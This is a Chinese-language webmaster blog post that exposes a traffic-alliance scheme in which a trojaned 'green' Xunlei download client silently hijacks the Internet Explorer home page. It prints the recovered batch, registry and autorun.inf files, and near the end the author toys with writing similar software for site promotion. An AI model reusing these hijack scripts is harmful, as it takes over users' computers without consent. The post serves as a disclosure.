解密流量聯盟高端而醜惡的網路行銷方式

仲介交易 HTTP://www.aliyun.com/zixun/aggregation/6858.html">SEO診斷 淘寶客 雲主機 技術大廳

看文章前需要的前置知識：流量聯盟 外掛程式 木馬 靜默啟動

一日也就是一天，寡人困倦，于電腦前久坐，遂感眼部疲乏，於是乎思考假寐，心想：吾開電腦啟用迅雷，下載大片，然睡醒來之，遂可看之，豈不爽哉!豈料醒來發現：鄙人電腦IE預設被打開，赫然映入眼簾，某XXXXX級網站首頁! SO開始檢查電腦!偶發掘出流量聯盟行銷伎倆之一，有感受害者居多，遂決定公佈以普度眾生!

1.流量交換到底可取不可取

本人曾經加入過一些流量聯盟做過些測試，結果是網站IP確實有大幅度的提高，但是很容易上癮，一旦離開流量聯盟便一日千里!自我感覺如果單純刷排名可以一試!但是在排名越來越失去其應有價值的中國互聯網， 網站的盈利更多應該考慮對使用者的價值!

一個排名很高的網站可能是一個根本不盈利的網站，一個排名百萬之外的網站可能年收入已逾百萬!

2.流量交換的原理

本人的粗淺理解：利用軟體外掛程式採用病毒式的方式強制修改使用者IE屬性，或以駭客手段非法入侵高流量網站採用掛馬的方式獲取沒有實際意義的IP訪問!

3.我是怎麼踩進流量聯盟陷阱的

在睡覺前我之開著迅雷，電腦機器全部補丁打齊了為什麼還是中了?原因只有一個：迅雷有問題（這裡的迅雷並非官方迅雷），於是開啟殺毒軟體進行殺毒，提示被ROOKIT，很高級的技術啊!居然也被應用到了網路行銷中! 查看了下迅雷版本：某綠色版去廣告迅雷版（GHOST自帶下載）突然感覺很危險，想起了GHOST的某版本new使用者漏洞!打開我的電腦發現系統磁片符下隱藏某EXE檔，為證明我沒有在這裡忽悠，發4個檔：

1.vip.bat

=============可恥的分割線============

regedit /s vip.reg

START HTTP://www.96so.com/?t

cls

2.VIP reg

=============可恥的分割線============

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main]

"Start Page"="HTTP://www.96so.com/?t"

3.web.bat

=============可恥的分割線============

START HTTP://www.96so.com/?t

cls

4.autorun.inf

=============可恥的分割線============

[AutoRun]

open=systemss.exe

shellexecute=systemss.exe

shell\Auto\command=systemss.exe

索性修改的網站位址不是非法網站，相反很正規!

分析到這裡基本上我就明白了原理：利用所謂的綠色去廣告後門版軟體惡意載入高手編譯的外掛程式，利用外掛程式釋放相關修改檔，用靜默的方式啟動運行檔修改IE首頁，達到推廣目的!

很高端的病毒行銷方法!還DLL注射進程進作業系統自帶的計算機，不得不佩服這些個高手!

現在明白了為什麼每天有人在駭客群裡叫嚷著賣流量了!

分析這個的同時突然冒出個想法：自己編寫一個小軟體以佔領使用者終端的方式開始網路行銷推廣，PPLIVE QQ PPS 為什麼小網站不能也考慮下這個方式?不過也對小站長一般也很少有這樣的軟體編寫實力，實施的難度有些大!

站長網新聞榜: www.admin5.com/top